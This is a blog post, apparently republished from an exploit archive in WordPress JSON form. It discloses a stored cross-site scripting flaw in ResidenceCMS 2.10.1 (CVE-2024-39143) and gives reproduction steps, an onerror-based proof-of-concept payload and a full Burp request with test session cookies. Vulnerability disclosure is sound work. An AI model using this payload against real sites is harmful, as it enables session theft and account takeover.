{"id":58027,"date":"2024-07-08T19:29:59","date_gmt":"2024-07-08T16:29:59","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/179401\/residencecms2101-xss.txt"},"modified":"2024-07-08T19:29:59","modified_gmt":"2024-07-08T16:29:59","slug":"residencecms-2-10-1-cross-site-scripting","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/residencecms-2-10-1-cross-site-scripting\/","title":{"rendered":"ResidenceCMS 2.10.1 Cross Site Scripting"},"content":{"rendered":"<p># Exploit Title: ResidenceCMS &lt;= 2.10.1 Stored Cross-Site Scripting via Content Form<br \/># Date: 8-7-2024<br \/># Category: Web Application<br \/># Exploit Author: Jeremia Geraldi Sihombing<br \/># Version: 2.10.1<br \/># Tested on: Windows<br \/># CVE: CVE-2024-39143<\/p>\n<p>Description:<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>A stored cross-site scripting (XSS) vulnerability exists in <br \/>ResidenceCMS 2.10.1 that allows a low-privilege user to create <br \/>malicious property content with HTML inside it, which acts as a <br \/>stored XSS payload. If this property page is visited by anyone <br \/>including the administrator, then the XSS payload will be triggered..<\/p>\n<p>Steps to reproduce<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>1. Login as a low privilege user with property edit capability.<\/p>\n<p>2. Create or Edit one of the user owned property <br \/>(We can user the default property owned by the user).<\/p>\n<p>3. Fill the content form with XSS payload using the Code View feature. <br \/>Before saving it make sure to go back using the usual view to see if the HTML <br \/>is rendered or not.<\/p>\n<p>Vulnerable parameter name: property[property_description][content]\n<p>Example Payload: &lt;img src=&#8221;x&#8221; onerror=&#8221;alert(document.cookie)&#8221;&gt;<\/p>\n<p>4. After saving the new property content and clicking the &#8216;Finish Editing&#8217;, <br \/>go to the page and see the XSS is triggered. <br \/>It is possible to trigger the XSS by using any account or even unauthorized account.<\/p>\n<p>Burp Request<br \/>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<\/p>\n<p>POST \/en\/user\/property\/7\/edit HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko\/20100101 Firefox\/127.0<br \/>Accept: text\/html,application\/xhtml xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>Content-Type: application\/x-www-form-urlencoded<br \/>Content-Length: 1111<br \/>Origin: http:\/\/localhost<br \/>Connection: keep-alive<br \/>Referer: http:\/\/localhost\/en\/user\/property\/7\/edit<br \/>Cookie: REMEMBERME=App.Entity.User:dXNlcg~~:1722991344:s-spusttpMsLQb2wlzMc2GJcKATcKhGTfj1VuV8GOFA~dRl86I12JAEzbjfmLzxK4ps0tMcX9WH15-DfzD115EE~; PHPSESSID=fhp06bc4sc5i8p4fk5bt9petii; sidebar-toggled=false<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: same-origin<br \/>Sec-Fetch-User: ?1<br \/>Priority: u=1<\/p>\n<p>property[city]=3&amp;property[district]=&amp;property[neighborhood]=3&amp;property[metro_station]=&amp;property[dealType]=1&amp;property[category]=1&amp;property[bathrooms_number]=&amp;property[bedrooms_number]=2&amp;property[max_guests]=6&amp;property[property_description][title]=Furnished renovated 2-bedroom 2-bathroom flat&amp;property[property_description][meta_title]=&amp;property[property_description][meta_description]=Furnished renovated 2-bedroom 2-bathroom flat&amp;property[address]=5411 Bayshore Blvd, Tampa, FL 33611&amp;property[latitude]=27.885095&amp;property[longitude]=-82.486153&amp;property[show_map]=1&amp;property[price]=2200&amp;property[price_type]=mo&amp;property[features][]=1&amp;property[features][]=2&amp;property[features][]=4&amp;property[features][]=6&amp;property[features][]=8&amp;property[property_description][content]=&lt;img src=&#8221;x&#8221; onerror=&#8221;alert(document.domain)&#8221;&gt;&amp;files=&amp;property[_token]=09e8a0ac823.ahexkItiSa6gSwce8RFyNpn94Uqu9g1cc4CN6g-zLsE.PSHrpu87DJzVcjJ1smI1c8-VrjjGuHUGMefsg3XWdJcuL9_F2Cc_ncMsSg<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: ResidenceCMS &lt;= 2.10.1 Stored Cross-Site Scripting via Content Form# Date: 8-7-2024# Category: Web Application# Exploit Author: Jeremia Geraldi Sihombing# Version: 2.10.1# Tested on: Windows# CVE: CVE-2024-39143 Description:&#8212;&#8212;&#8212;&#8212;&#8212;- A stored cross-site scripting (XSS) vulnerability exists in ResidenceCMS 2.10.1 that allows a low-privilege user to create malicious property content with HTML inside it, which &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58027","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58027","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58027"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58027\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58027"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58027"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58027"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}